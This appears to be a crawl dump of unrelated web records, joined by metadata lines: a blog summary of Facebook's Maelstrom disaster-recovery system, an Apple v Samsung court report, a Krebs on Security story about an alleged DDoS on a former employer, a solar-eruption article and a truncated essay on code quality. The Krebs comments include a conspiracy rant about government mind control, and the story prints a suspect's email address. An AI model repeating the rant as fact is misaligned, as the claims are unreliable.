itself take time, as does coding up and testing a fix. In these circumstances, Maelstrom can reduce the impact of failures by moving diagnosis and recovery out of the critical path. Currently, Maelstrom drains hundreds of services in a fully automated manner, with new systems being onboarded regularly. We can drain all user-facing traffic, across multiple product families, from any datacenter in less than 40 minutes. There are three very valuable contributions in this paper: - The description of Maelstrom itself, a generic framework for draining heterogeneous traffic from interdependent systems safely and efficiently. (There’s a product right there!) - An explanation of *drain tests*as they are practiced at Facebook: an essential component of disaster recovery. - A sprinkling of hard-won wisdom and expectation setting for rolling out similar capabilities in your own organisation. ### Draining traffic, how hard can that really be?? The conceptually simple idea of draining traffic turns out to be rather challenging in practice. In our experience, disasters ofter trigger failures that affect multiple interdependent systems simultaneously… we observe that most of today’s Internet services are composed of a number of heterogeneous systems including singly-homed and failover-based systems with complex, subtle dependencies and distinct traffic characteristics. The most challenging aspect of mitigation is to ensure that dependencies among systems are not violated. And of course, you’d better not create any *new* outages or failures as a result of your draining intervention (e.g., it would be easy to cause cascading failures). Based on affinity (aka ‘stickiness’) and state properties, there are four fundamental types of traffic that need to be considered during draining: - Stateless traffic (e.g., the majority of web traffic) is easy to deal with. - Sticky traffic (e.g. messaging) pins to particular machines maintaining session state. For sticky traffic incoming session requests need to be rerouted, and established session torn down. - Replication traffic rerouting typically requires configuration changes or other heavyweight changes. - Stateful traffic (e.g. hot standbys) typically requires promoting a secondary to become the new master. State may need to be carefully copied from one datacenter to another. All of the above needs to be done in the right order as well, based on the dependency graph. ### Introducing Maelstrom Maelstrom is the system that Facebook use to execute disaster mitigation and recovery *runbooks*. … a runbook specified the concrete procedure for mitigating the particular disaster scenario by draining traffic out of the datacenter; after the root causes are resolved, a corresponding recovery runbook is used to restore the traffic back… Runbooks are made up of *tasks* (e.g. shifting a portion of traffic, migrating data shards, etc.) which can have *dependencies* between them. The Maelstrom UI can be used to launch runbooks, and monitor their progress. Every service maintains its own *service-specific* runbook for disaster mitigation. If an entire datacenter is down, a *datacenter evacuation runbook* is used to drain the traffic of all the services in the datacenter. Such a runbook aggregates a collection of service-specific runbooks. Tasks are defined based on a collection of task templates. Each task has associated health metrics, pre-conditions and post-conditions, and dependencies. We implement a library of stages that capture common operations like instructing load balancers to alter traffic allocation, managing containers and jobs, changing system configuration, migrating data shards, etc. The Maelstrom runtime engine comprises a scheduler that determines the correct order of task execution and an executor that executes tasks and validates the results. Maelstrom compares the duration of each task to the 75th percentile of the execution time of previous runs to determine whether a task is stuck in execution. If so, an operator is alerted. “*We prioritize safety over speed, and stall subsequent operations until an operator intervenes*“. During execution, Maelstrom uses a closed feedback loop to pace the speed of traffic drains based on extensive health monitoring. After executing a runbook, Maelstrom performs automated critical path analysis to help optimise mitigation time by identifying bottlenecks in the dependency graphs. ### Drain testing Maelstrom can only be as good as its runbooks… Maelstrom requires runbooks to always keep updated with our rapidly-evolving software systems and physical infrastructure. However, maintaining up-to-date information (e.g. service dependencies) is challenging due to the complexity and dynamics of systems at scale… drain tests are our practical solution to continuously verify and build trust in the runbooks. Drain tests are fully automated tests that use Maelstrom to drain user-facing and internal service traffic away from a datacenter, just as if that datacenter was failing. Multiple drain tests are run per week to simulate various disaster scenarios, with tests being scheduled at various times to cover different traffic patterns. In addition to regular drain tests, FB also run *storm* tests at a quarterly cadence. Storm tests evaluate the ability to recover from the total loss of a datacenter, and are similar to Google’s DiRT and Amazon’s GameDay exercises. Running regular drain tests is the only way to know that the runbooks will do their job when called upon in a real emergency. They operate on live production traffic and are not expected to have any user-visible or service-lever impact: if they do, a follow-up with the engineering team investigates why a given disaster scenario was not handled well. Drain tests also force us to gain a deep understanding of our complex, dynamic systems and infrastructure, and help us plan capacity for projected demand, audit utilization of shared resources, and discover dependencies. Drain tests are an important part of verifying that the shared infrastructure has sufficient capacity to absorb spikes in utilization caused by draining with Maelstrom. If a test identifies a bottleneck, “*we work with teams to update our routing policies, traffic tagging and prioritization schemes, or bandwidth reservation configuration so we can drain services safely.*“. In addition to capacity planning, *traffic prioritization* is used to drain user-facing traffic as soon as possible, followed by stateful service traffic. In the event of resource overload, many systems also employ graceful degradation with PID controllers (e.g., incrementally turning off ranking algorithm complexity to reduce compute demands). ### Creating runbooks and onboarding services Drain tests help ensure that runbooks are working as desired (not always the same thing as working-as-designed 😉 ). One of the main challenges when onboarding a new service is discovering all of its dependencies. Three common dependency relationships often manifest: *Bootstrapping*dependencies occur when a service depends on other components to prepare its execution environment and setup configuration before serving traffic.*RPC*dependencies occur when a service makes RPCs to fetch data from other services during its operation*State*dependencies occur when depending upon traffic state across services, e.g. a proxy to coordinate and manage session establishment. Uncovering dependencies starts with a scenario-driven questionnaire coupled with an analysis of the outputs of tracing and service discovery systems. Clues to state-based dependencies can also often be found in logs. Once dependencies are identified, they are organised into chains of parent-child dependencies in a disconnected dependency graph. Then common services are identified across chains, these often indicate *highly connected components* (HCCs). Draining a HCC service will likely require us to drain its parents first; once the HCC service is drained, its children can likely be drained concurrently. Once the initial runbook has been constructed, Maelstrom is used to cautiously validate it via small-scale drain tests, with careful monitoring of the health of all systems involved. The radius of the drain tests is gradually enlarged until all levels of traffic drains can be performed regularly. ### Lessons learned - Drain tests help us understand interactions amongst systems in our complex infrastructure. - Drain tests help us prepare for disaster - Drain tests are challenging to run - Automating disaster mitigation completely is not a goal. The original vision was to take humans out of the loop altogether. The current design is focused around helping operators triage a disaster and efficiently mitigate it. - Building the right abstractions to handle failures is important, but takes time and iteration. The separation of runbooks and tasks allows each team to focus on their service specific policies without the need to rebuild mechanisms. Sometimes onboarding a new service does require the creation of new task templates. - It takes time to reach maturity: Our original tests only targeted one stateless system: our web servers. The first set of drain tests were painful – they took more than 10 hours, and experienced numerous interruptions as we uncovered dependencies or triggered failures that resulted in service-level issues…. after a year we extended drain tests to two more services: a photo sharing service and a real-time messaging service. Four-and-a-bit years in, and Maelstrom can now drain hundreds of services. ### Maelstrom in action. Section 5 in the paper contains many examples of Maelstrom draining different types of traffic for Facebook services. I’m already over target length so won’t cover it here, but do check out the full paper for details if this topic interests you. ### The last word As our infrastructure grows, we have learned that it is critical to develop trusted tools and mechanisms to prepare for and respond to failure… Much of the focus of Maelstrom has been around ensuring that Facebook stays available when an incident affects an entire datacenter. In practice, we find that many incidents affect only a subset of hardware and software systems rather than entire datacenters. Our next focus is on building tools to isolate outages to the minimal subset of the systems they affect.

2024-10-12 00:00:00

2018-10-24 00:00:00

acolyer.org

blog.acolyer.org

http://www.smh.com.au/digital-life/tablets/apple-fears-samsung-tablet-will-seduce-customers-court-told-20110929-1kyl5.html

Apple fears Samsung tablet will 'seduce' customers, court told

Asher Moses

This was published 13 years ago # Apple fears Samsung tablet will 'seduce' customers, court told ##### By Asher Moses Apple fears the Samsung Galaxy Tab 10.1 will launch on to the market "with the velocity of a fire hose" and "take away iPad 2 sales so quickly" that customers may be permanently "seduced" away from Apple's iOS platform, its lawyers told the Federal Court in Sydney today. Apple is suing Samsung for patent infringement arguing the firm "slavishly" copied its iPad. The interlocutory hearing, which is considering whether Samsung's competing tablet should be banned from the Australian market, revealed for the first time how serious a threat Apple regards Samsung to be. Samsung has agreed not to market nor sell the Galaxy Tab 10.1 in Australia until Justice Annabelle Bennett makes a decision but some online sellers **such as Kogan have already attempted parallel imports**. Responding to questions from Justice Bennett about whether Samsung's model could be singled out, given there are other Android-based tablets on the market, Apple's lawyers said it saw the Galaxy Tab 10.1 as the main competitor to the iPad 2. "This is vastly the one that is going to be targeting the iPad 2," Apple's counsel said. "This is going to be launched on the market with the velocity of a fire hose and [the Galaxy Tab 10.1 is] going to just come in and take away iPad 2 sales so quickly that by the time we get to final hearing the full impact of the patent infringement will be [felt] to the detriment of Apple and to the benefit of [Samsung]." Samsung has requested sales data showing the effect Galaxy Tab 10.1 sales have had on iPad 2 sales in other countries. Apple has refused and Justice Bennett has sided with Apple. Analyst firm Gartner and other analysts have recently said that the iPad 2 would take the lion's share of tablet sales globally for some time to come despite the presence of other tablets such as Samsung's. The comments by Apple in court come as research firm IDC today said that tablet shipments to Australia and New Zealand doubled in Q2 from the previous quarter, with 420,000 units shipped. Australia contributed 87.5 per cent of the total shipments, while the rest went to New Zealand. IDC said the doubling was driven by multiple launches of Android-based devices similar to Samsung's Galaxy Tab 10.1. Samsung argues that its tablet will be largely competing with other Android-based models and that consumers would be deciding whether they wanted Apple's iOS or Android, rather than deciding by comparing the Galaxy Tab 10.1 with the iPad 2. "People will choose either to stick to Apple because you like Apple and you like the operating system and you like the link to iTunes and so on. Or you want a completely different system and you'll move in the direction of Android," Samsung's lawyer said. Apple disputes this, arguing the Galaxy Tab will only get market share by taking share away from Apple and that other Android competitors from brands such as Motorola and Acer were irrelevant. Justice Bennett said the Galaxy Tab 10.1 would compete with both iPad 2 and Android. "It must be that the initial competitor will be Apple and then there will also be competition within the Android system between the Android players," she said. Apple also raised concerns that every Galaxy Tab sold would cost it future app sales as the users would become "Android people". Apple's iTunes App Store dominance would be challenged if customers were "seduced" or "sapped away by the Galaxy Tab and its infringements". "They'll then be Android people and the investment in the apps that they make to purchase on their Galaxy Tab will be something they can't use on an Apple product," Apple's lawyer said. The case has now been narrowed to concern two Apple patents. Samsung has filed a separate cross-claim accusing Apple of infringing several of its own patents. Samsung's lawyers have criticised the fact that Apple did not seek injunctions against previous Samsung products that would by their logic also infringe its patents. Apple's response to this was that, because Samsung is a significant supplier to Apple, it "engaged in negotiations in the first instance". "We're not the first Android on the market and other people are getting in fast. It's critical that we're a first mover not dribble in behind everybody else. It's blossoming at the moment," Samsung's lawyer said. Similar Apple v Samsung cases are running all over the world. In other jurisdictions Samsung has **raised the Stanley Kubrick film 2001: A Space Odyssey as an example of **" **prior art**", since an iPad-like tablet device appears in the film. Today in court Samsung clarified that the film is "not relied on as prior art because look and feel is not an issue [in this case] - it would be relevant to a design case". Apple is seeking to expedite the case and have a full hearing in November, fearful that any temporary injunction will expire and Samsung will be allowed to launch its tablet in competition with the iPad 2. Apple sent Samsung a letter seeking its agreement on several matters including the early hearing in exchange for it reducing the number of patents in its case. But Samsung called it "opportunistic and wildly untenable". Samsung's lawyers said they needed more time to prepare their case challenging the validity of Apple's patents and completely rejected Apple's requests for permanent injunctions on several patents which would mean other future Samsung products may be blocked from entering the market. Samsung said it would need until next year to firm up its case but Apple's lawyers bristled at this suggestion, arguing they were "just met with a brick wall which is to [Samsung's] immediate advantage, not ours". Apple is worried that Samsung will have released future product revisions before this case is resolved. Justice Bennett made it clear that she would only be making a decision on the Australian version of the Galaxy Tab 10.1, no other products. She is not expected to make a final decision on whether to grant a temporary injunction until at least next week. The full hearing is likely to be later in the year. The hearing continues this afternoon. ** This reporter is on Twitter: @ashermoses**

Apple fears the Samsung Galaxy Tab 10.1 will launch on to the market "with the velocity of a fire hose" and "take away iPad 2 sales so quickly" that customers may be permanently "seduced" away from Apple's iOS platform, its lawyers told the Federal Court in Sydney today.

2024-10-12 00:00:00

2011-09-29 00:00:00

https://static.ffx.io/images/$width_620%2C$height_414/t_crop_fill/q_86%2Cf_auto/t_smh_no_label_social_wm/l_text:PT%20Sans_41_bold_italic:%20from%20%2Cg_south_west%2Cy_84%2Cx_288%2Cco_rgb:0a1633/l_text:PT%20Sans_41_bold:%20%20%2Cg_south_west%2Cy_90%2Cx_375%2Cco_rgb:0a1633/l_text:AbrilTitling-Bold.ttf_83:%202011%20%2Cg_south_west%2Cy_15%2Cx_274%2Cco_rgb:0a1633/23186d0459f1dfa95ab0069ecd1fc88ed767f737

newsarticle

smh.com.au

The Sydney Morning Herald

http://krebsonsecurity.com/2013/08/how-not-to-ddos-your-former-employer/

How Not to DDoS Your Former Employer

Pro tip: If you’re planning to launch a debilitating denial-of-service attack against your former employer, try not to “like” the Facebook page of the DDoS-for-hire Web service that you intend to use in the assault. Tell that to **Kevin Courtois**, a 28-year-old from Three Rivers, Quebec who was arrested earlier this year for allegedly launching a volley of cyber attacks against his former company over a nine month period beginning in May 2012. Courtois did not respond to requests for comment. Courtois’s former employer — **Concepta Inc**., an information security firm based in his hometown — was not the only one suffering from attacks. The assaults — which ranged in size from a few gigabits per second to up to 10 gbps — grew so large that they began significantly affecting Concepta’s Internet service provider — another Three Rivers company called Xittel. Eventually, the attacks shifted to targeting Xittel directly. Xittel later hired Robert Masse, a security consultant from Montreal who spoke about the details of this case in a talk at the Black Hat security conference in Las Vegas last month. Xittel and Concepta compared notes and told Masse they’d settled on Cortois as the likely culprit. One potential clue: Cortois *had left Concepta to start his own company that specialized in DDoS protection services. * Masse said when he began his investigation he noticed that Courtois had liked the Facebook page of **demolitionstresser.com**, a now defunct booter site that redirected him to….wait for it…**ragebooter.net**. For those of you who haven’t read my story on ragebooter.net and its proprietor Justin Poland, please check it out after reading this piece. In that story, Poland claimed to have been working for the FBI, and even to have backdoored his own service so that FBI agents could snoop on user activity. Masse said he decided to contact Poland to see what he might be willing to disclose about any ragebooter.net customer who’d been using the service to launch attacks against Concepta and Xittel. Masse said he created an account at ragebooter.net, funded it with $200 via the site’s default payment method — **Paypal** — and then reached out to Poland via his support handle in Skype. Would Poland be willing to sell the logs of a particular customer? Say….anyone who happened to be currently using ragebooter to attack a certain Internet address block in Three Rivers, Quebec? According to Masse, Poland initially replied that, why yes, there was an attack going on that very moment against that IP address. “For sure, this morning,” Poland wrote in a Skype chat. “First attack November 25 (2012).” Masse said Poland then pasted the account information for a user named…wait for it…”concepta2.” Concepta2 had signed up with ragebooter using the email address **traverse2000@hotmail.com,** according to the Ragebooter.net users database that was leaked earlier this year.** **A historic reverse WHOIS record lookup at domaintools.com, that email address was used to register at least 36 different Web sites, most of them originally registered to a Kevin Courtois from Quebec. Masse said Poland quickly thought better of posting his customers’ information in a Skype chat with a stranger, and deleted the message a few seconds after he’d pasted it. But Masse was able to retrieve a copy of the message by dumping the memory cache for his Skype client on his OS X machine. Masse also discovered that a person using the nickname “concepta” had posted on hackforums.net that he was looking to hire a DDoS botnet. With this and other information, Masse was able to get a civilian search warrant to seize and search the computers at Courtois’s residence. But Masse said when he arrived at Courtois’s home with local gendarmes, a bailiff and a locksmith, they found Courtois unbothered by the intrusion, almost like he was expecting it. Masse and his employer maintain that Courtois had already hacked his former boss’s computer, and so knew in advance the day and the hour that the authorities were coming for him and his stuff. “What’s funny is when we went to seize the hard drive, he didn’t look surprised because he hacked into the president of the company, so he knew that we were coming,” Masse said. “The funny part is that while he used data wiping software to wipe his drive, he only wiped the free space, but didn’t wipe his backups. That guy thought he was so smart, you should have seen the smirk on his face.” Courtois was arrested for unauthorized computer use and for mischief to data. His trial is ongoing. Heads-up: the English-speaking world in Canada doesn’t call it “Three Rivers”, we still call it Trois-Rivières. Cow in trouble: It would Be-hoove him to to pay protection to the Moofia or a Cowtastrophe might occur. Yaaaaay! Thanks,………we need more puns, please, Thank you. I was about to say the same thing. My ears are itchy after hearing “Three Rivers” and I’m an Anglophone, too. You’ll never guess what we Notre Dame. 🙂 It a catastrophe . My milk has gone sour .Can we Dddos my old farmer !? I pay you in milk .I still have 40 gallons in my fridge you know . Please help me . Moooo. Moo. Moo moooo moomoo. Moooo moo mooo moo? ahhahaha We need some “cybercrime” version of these ‘Darwin Awards’ I think. I vote this becomes a new category/tag. I second this. Sounds like a plan. A Darwin Awards category sounds great. Heaven knows there are enough of those who deserve nominations. Pwnie Awards already have a category for “Lamest Vendor Response”. “Lamest cybercrime” would be a logical addition. “The funny part is that while he used data wiping software to wipe his drive, he only wiped the free space, but didn’t wipe his backups. That guy thought he was so smart, you should have seen the smirk on his face.” – This is the best part… Brilliant. I love reading every single new post from your blog. It is very very valuable information, and what I like the most is you tell in detail, so I can get the whole picture. Sometime, it looks like I’m reading somekind of detective novel. 🙂 Thank you. Can anyone elaborate on how Mr. Massey “was able to retrieve a copy of the message by dumping the memory cache”? That sounds like a neat trick… More than likely he brought in a laptop with a forensics kit on it. The abuser didn’t even think to shut the computer down, probably didnt even log off. I am not sure of the software they would have used, but I would think it would be ENCASE forensics, Olly Debug, IDA Pro or something similar that was used. Most use a suite of tools, but the ENCASE style products can retrieve alot of data. More than likely it was ENCASE, FTK or similar. As for the memory cache itself it could have been that he didn’t log out and the live memory was dumped, or the hyperfil.sys. However it is more likely he just didn’t know about the Skype logs, which would have been stored in the backups under the userdata. Hey guys, Rob here. Much simpler to get the memory – I used OSXPMEM. I didn’t want to image my workstation and Encase it and needed a simple solution. https://twitter.com/rob_masse 🙂 awesome IT (engineer like qualities)+(higher) IQ = Brilliant. (seriously) Lack one of those and the thought process not be the best. Backing up evidence that can be used against you is nothing less than a pure retardation move. One would think, if your going to do things that aren’t the best in the world of IT, you would have a workstation/laptop with a removable drive. Why sit back and think you have a solution when there are alot more people and services out there that can out smart most. I was going to post some of the “solutions” that I have seen to make evidence gathering a living hell, but decided against it. I have seen, and heard of a lot of solutions to avoid the reuse of information and some of the “solutions” either worked perfectly, or failed miserably. And this guy was going to host a business? I guess most of his fall back plans most of had 1 or 2 steps – maybe 3 at most, then he gets confused. Some people are just not cut out for an IT position, and IMO, this guy seems to be one of them. One simple three letter word comes to mind for his immediate reaction to them finding the data untouched. DOH ! Yeah it’s pretty mind boggling to me that he signed up for the ddos service with an email he’s used in the past tied to his offline identity. And he works in infosec Also interesting how forthcoming/cooperative the ddos service provider was You’d be amazed at how often the miscreants do this. Or they use something tied to a social media site…with their full name. They’re as lazy as the next person. Just goes to show there is no honor among thieves. And you know that Courtois means courteous, mannerly… Excellent read! I feel like there should be a cyber crime version of “The World’s Dumbest Criminals” from stories this good. Side note: you use “Masse” in the first few paragraphs before it switches to “Massey.” Took me a minute to figure out. Remember boys and girls… when using drive/data wiping software remember you have the correct settings at all times so you can wipe the correct data you mean too, not everything BUT the data … silly PS – never keep a backup of your black hat system … just sayin… LOL Very funny, would have loved to see his face after the cops told him what he did… better than the smirk… would be a great picture to submit as Exhibit A in trial… “your honor, want to put on record the defendants face when we told him he was not that bright on settings when trying to wipe data” … 🙂 Nice! hahah Some of these guys are too arrogant for their own good. Great article – thanks for sharing. In the 9th paragraph, second sentence – may want to add a “d” to the 3rd word. “With this and . . .” Hi The Blackhat presentation can be downloaded here, lots more screenshots and details: https://media.blackhat.com/us-13/US-13-Masse-Denial-of-Service-as-a-Service-Slides.pdf Rob https://twitter.com/rob_masse Ha, he deserves to be caught if he can’t even wipe his hard drive correctly. Technically he did wipe his hard drive correctly… he just didn’t destroy his backups. Which is even more of a dunderheaded move than attacking a former/current employer (if anyone wants continued employment in the IT field… never do that). “With this an other information” nice typo *DDOS = Distributed Denial of Service Definitely not one of the smartest ways to do this, don’t want to be leaving any footprints. Careless and foolish of the cyber criminal to like the site on facebook doing the DDOS attacks . Just goes to show you human error and deductive reasoning is still the best method of catching criminals. Find out who has a motive and check them out. BWAHAHAHAHAHAHAHAHAHAAHAHA!!!!!!! 😀 :v Early CIA efforts focused on LSD, which later came to dominate many of MKUltra’s programs. Technical Services Staff officials understood that LSD distorted a person’s sense of reality, and they felt compelled to learn whether it could alter someone’s basic loyalties.[30] The CIA wanted to know if they could make Russian spies defect against their will and whether the Russians could do the same to their own operatives.[30] say cia? say nsa? say fbi? OPEN YOU EYES THEY COME There are a number of interlocking systems, technologies and techniques which are currently being deployed against the citizens of the United States of America by certain segments of our national government. First, there are literally COUNTLESS mind-control projects and sub-projects in operation at this time which target SPECIFIC subjects/victims in a variety of ways; using one or more of a number of technologies such as drugs, (ritual) psycho-sexual abuse, a vast panoply of different EM/RF mind control technologies, repetitive conditioning, hypnotic trance induction, and so on and on and on. Reliable reports from MANY different sources indicate that as many as TEN MILLION individuals many be ACTIVE subjects/victims of these kinds of mind control activities, and huge quantities of hard documentation on a great many of these projects DOES exist. However, in addition to these kinds of mind control operations, there are ALSO mind control and mind manipulation activities that target MASSES of people in large geographical regions at the same time. Indeed, there is VERY strong evidence that the operators of HAARP for example, have ever since HAARP’s earliest days intended that it be used for, among many other things, GLOBAL mind control. There is in FACT much evidence to show that HAARP is NOW being used for just such utterly evil purposes by the United States federal government. And yet somehow you’re so special that you escaped the mind control and are able to tell us all about it. Thank God for that! mind control? hahah ya its called advertising and marketing. Its also called news media and you really eat it all up… Holy shit ^ Did we notice how my name is marked out threw the whole image? This leads me to believe krebs is making up things again. However I care less the proof above is fake and not legitable. Get a life krebs. http://prntscr.com/1ms5t2 That photo shows no user with any ip he gave was blacklisted on my services. On the contrary I say this was excellent IT work: up to date backups that can be used in case of primary storage loss. Point take — Don1t forget to destroy your back up if you up to no good !!! “Darwin Awards” require the recipient to die or at least to become incapable of breeding as a result of his special type of stupidity. Stupid cybercriminals tend to be the gift that keeps on giving, unfortunately. But we definitely need a tag for the stories of their adventures. As far as Concepta, how did they hire this guy in the first place? Nice investigation. Offering DDoS atacks and taking PayPal and using Skype seems strange … “Vanity…my favorite sin” – Lucifer/Al Pacino, The Devil’s Advocate Hey could you tell us how you went about doing the memory dump and decoding it? Thanks, Josh

Pro tip: If you're planning to launch a debilitating denial-of-service attack against your former employer, try not to "like" the Facebook page of the DDoS-for-hire Web service that you intend to use in the assault. Tell that to Kevin Courtois,…

2024-10-12 00:00:00

2013-08-20 00:00:00

krebsonsecurity.com

Briankrebs

https://www.space.com/coronal-mass-ejection-warps-suns-magnetic-field-video

This solar eruption was so powerful it warped the sun's magnetic field (video)

Samantha Mathewson

# This solar eruption was so powerful it warped the sun's magnetic field (video) 'The CME was so large that it warped the sun's magnetic field, disrupting the delicate balance of forces all around our star and causing the large outwards rush of mass.' The sun unleashed an eruption powerful enough to warp its own magnetic field this week. Satellites observed the solar eruption, known as a __coronal mass ejection__ (CME), on Wednesday (Nov. 15), capturing the bright burst of super-hot plasma as it shot out into space. The Solar Ultraviolet Imager on the U.S. National Oceanic and Atmospheric Administration's (NOAA) GOES-16 satellite snapped a photo of __the sun__ with a trail of material spewing from near the north pole region. CMEs originate from __sunspots__, which are dark areas on the surface of the sun where powerful __magnetic field lines__ often tangle, cross and reorganize, causing a sudden explosion of energy. This release of energy can eject gigantic plumes of solar material that can travel through space at millions of miles per hour. The high-speed energy released after the Nov. 15 CME caused temperature variations along the sun's magnetic field lines, European Space Agency (ESA) officials __said on X__ (formally known as Twitter). **Related: **The worst solar storms in history "The CME was so large that it warped the #sun's magnetic field, disrupting the delicate balance of forces all around our star and causing the large outwards rush of mass," ESA Operations __said in an X post__ that shared a view of the solar eruption captured by the Solar and Heliospheric Observatory (SOHO) spacecraft. The sun-watching SOHO satellite, a joint effort of ESA and NASA, monitors the effects of __space weather__ on our planet and helps researchers forecast potentially dangerous solar storms. Thankfully, this recent solar eruption was not directed toward Earth; otherwise, it could have impacted communication systems across the planet, __ESA Operations said__. Generally, CMEs look like a giant smoke ring or a halo. However, SOHO captured a stunning video of the CME showing a bright bulbous plume, followed by a rush of mass through its center, resembling the filament in a light bulb. The CME was so large, that it warped the #Sun’s magnetic field, disrupting the delicate balance of forces all around our star and causing the large outwards rush of mass.📸 ESA/NASA pic.twitter.com/OPnqJ8EJAdNovember 16, 2023 NASA's __Solar Dynamics Observatory__ (SDO), which studies the __solar atmosphere__ to better understand the sun's influence on Earth and near-Earth space, also spotted the massive CME. ESA shared a time-lapse taken by the satellite, capturing a view of the solar outburst on Nov. 15 and the massive amount of energy released from the surface of the sun. ## Get the Space.com Newsletter Breaking space news, the latest updates on rocket launches, skywatching events and more! "The energy cracks like a whip as it follows complex arcs of magnetic field many times the size of Earth just above the surface," ESA Operations __said in a post__ on X. After the #CME, energy was released at extremely high speeds – causing temperature variations along the Sun’s magnetic field lines.The energy cracks like a whip as it follows complex arcs of magnetic field many times the size of Earth just above the surface.📸 NASA (SDO) pic.twitter.com/N9mhJphbXWNovember 16, 2023 ESA's __Vigil mission__ will follow in the footsteps of SDO, closely monitoring the sun's activity to provide advance warning of oncoming solar storms. The mission is currently in development, with launch slated for the mid-2020s. When operational, Vigil will help prepare for and protect against solar storms that not only pose a threat to power lines on Earth but also astronauts and spacecraft in orbit, ESA officials say. *Join our Space Forums to keep talking space on the latest missions, night sky and more! And if you have a news tip, correction or comment, let us know at: community@space.com.* Samantha Mathewson joined Space.com as an intern in the summer of 2016. She received a B.A. in Journalism and Environmental Science at the University of New Haven, in Connecticut. Previously, her work has been published in Nature World News. When not writing or reading about science, Samantha enjoys traveling to new places and taking photos! You can follow her on Twitter @Sam_Ashley13.

'The CME was so large that it warped the sun's magnetic field, disrupting the delicate balance of forces all around our star and causing the large outwards rush of mass.'

2024-10-12 00:00:00

2023-11-17 00:00:00

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space.com

Space

http://icml.cc/2012/papers/298.pdf

https://www.unrealengine.com/en-US/blog/catch-up-on-the-big-news-from-unreal-fest-seattle-2024

http://www.getapp.com/blog/saas-free-trials/

Blog & Research | GetApp

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http://www.youtube.com/watch?v=CMdHDHEuOUE

http://edgylabs.com/2016/10/23/happy-mole-day-3-things-know-geek-holiday/

https://thefintechtimes.com/open-banking-tech-is-not-to-blame-for-yolts-demise-asserts-fintech-industry/

http://news.cnet.com/8301-13772_3-57411518-52/who-says-silicon-valley-forgets-you-if-youre-over-40/

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https://www.pathsensitive.com/2023/07/the-11-aspects-of-good-code.html

The 11 Aspects of Good Code

# The 11 Aspects of Good Code Lessons on code quality start in the first few weeks of learning to program, when a newcomer to the field is taught the basics of variable naming and told why programming languages have comments. They continue in countless blog posts and in every debate on a pull request. Avoid it or embrace it, code quality training permeates one's entire career. But it is so easy to lose sight of why. Says the skeptic: pretty code is a distraction, like the gargoyles on a cathedral or the curlicues of Baroque architecture. Says the maximalist: Have you ever had a debugging session that demanded you turn over so many stones it felt as if the world was crumbling under you? You don't achieve 10x velocity by becoming 10x faster at debugging, but by writing code that doesn't need debugging at all. And says the guru: that which is merely a pretty distraction is not code quality. I've made a professional quest to clarify all the fuzzy terms of software engineering. Students of our course learn definitions of code knowledge and coupling in the first lessons. One of my research papers gives a rigorous definition of dependence. Today, I carry this quest to its apotheosis: what is quality code? To this question, there can be no short exhaustive answer. Asking “what is good code” is a lot like asking “how do chemicals work?” It's the subject of an entire field. But we can more easily ask what is the purpose of chasing code quality, even if achieving it is a craft worthy of a lifetime of study. To recognize quality code, we begin by asking: what are the external and internal properties quality code should have? **External Properties** **Good code is done code** We begin with the cliché. All discussions of quality are grounded in the ultimate purpose of the object being designed. The purpose of the vast majority of code is to be executed as software which accomplishes some goal, be it entertaining people, helping them with their taxes, shuttling data, or testing other code. There is also a minority of code built for other purposes: experiments to see if something is possible, examples to explain a library or algorithm, and code that does tricks such as printing its own source. For all of these, code that fails to achieve its purpose cannot have extrinsic quality any more than an abandoned construction site can be a useful building. But this does not justify single-mindedness in getting a program to work. There are also non-functional requirements such as performance. Software cannot be quality if sluggishness sends users back to pen-and-paper. And though an entire business may be dedicated to helping a software product fulfill its purpose, that does not subordinate all other functions to “code quality.” Whether code is quality cannot depend on factors that lie entirely outside the realm of engineering. The failure to market a software package does not make it bad, and a top-down directive requiring people to use it does not make it good. And so good code is done code. But we cannot stop there. That is not the end of the story. It is just the beginning. For if you say “We got it done and delivering value to the customer,” that is not an excuse to your boss when you explain why adding a feature to wish users “Happy birthday” will take several years. And it is not an excuse to yourself when you spend 4 days debugging an issue that turned out to be a typo. Done code is not good code. **Good code is understandable** By one definition, an engineer is someone who understands a system at a deep level. And, it follows that, for code to have good engineering, it must be understandable. And sometimes, such as for teaching code, this is its entire purpose. So you want code to be understandable. But understandable to whom? To yourself and the people who need to read it. Or more specifically: to those people *at the time* they need to read it. The foolish engineer is offered a new skill, one that will shrink a segment of his code by a factor of 10. “No-one else will understand this” he says as he refuses to learn it. He thus reveals a low expectation of himself masquerading as a low expectation of others. He has hidden within his comfort zone of skill. The arrogant engineer has a skill and knows it will be effective. “Anyone who cares about this code should be able to learn the technique I used.” If there are to be suitably ambitious readers, the choice turns out correct; but if the audience is one whose concerns lie elsewhere, then it does not. But an uninformed decision cannot be a good one. He has hidden within his comfort zone of empathy. Either can improve by breaking out of their comfort zone, learning which walls to climb and how, and aiding the rest through construction and placement of ladders. But the arch-engineer of engineers breaks the comfort zone itself. They are not concerned with climbing nor ladders, for those who follow shall suddenly find themselves atop mountains. **Good code is evolvable** Software is not a point in time but a system. Precious few programs stand like museum pieces encased in glass, existing only for their own sake, or illustrating a piece of the frozen past. The rest are connected to other programs, to platforms, to growing businesses and rotating customers. They are connected to a changing world. And now, as we spend our lives glued to screens that came from robotic factories and arrived via satellite-controlled ships, software *is* the changing world. You cannot change the world without changing its software. Every software engineer carries the professional burden of building software that is easy to change. And specifically, to change from one desirable state to another. We must avoid creating rigid code that is difficult to change at all. And we must also prevent brittle code that can all-too-easily be changed to something broken. Good code is easy to extend and difficult to break. The power of a design lies not in what it can do, but rather what it can't do. But why prepare for a future that may never come? It is impossible to predict the exact ways code will change. Yet it is often easy to predict *that* code will change. Or even *where*. And that's all that's needed to create evolvable code. Yes, it is a folly to design assuming certain changes will need to be made as life takes a certain path. But it is a greater folly to design as if no changes will occur at all. **Internal Properties** It is a lofty goal to say that a program must be correct, understandable, and evolvable. It is an achievable goal to say that a single function should pass its tests, have few branches, and use abstract types. And yet the summation of the latter yields the former. Extrinsic quality comes from intrinsic quality. These properties are presented below: **Good code can be understood modularly** Programs are composed of files. Files are composed of declarations. Declarations are composed of lines. That is to say, programs are built out of pieces. And every single piece has its purpose. Every time a line is executed, a change occurs, and there are many true statements that can be said about each change. Most such statements are of no consequence, while some are crucial to the ensuing lines achieving their purpose. But in some programs, there is a third category of statements. There are facts about the program state that become true on some line, and then are of no consequence until some distant line requires them to be true. Whereas most lines are of concern only to their neighbors, these two lines have grasped hands through a wormhole, their fates entangled. A change in one place can cause breakage on the other side of the universe. In good code, the purpose of every line can be stated simply. Each line can be understood in isolation. For each, one can reason: if some simple fact about the state of the program is true, then, after running this line, some other simple fact will be true. The assumptions and guarantees of 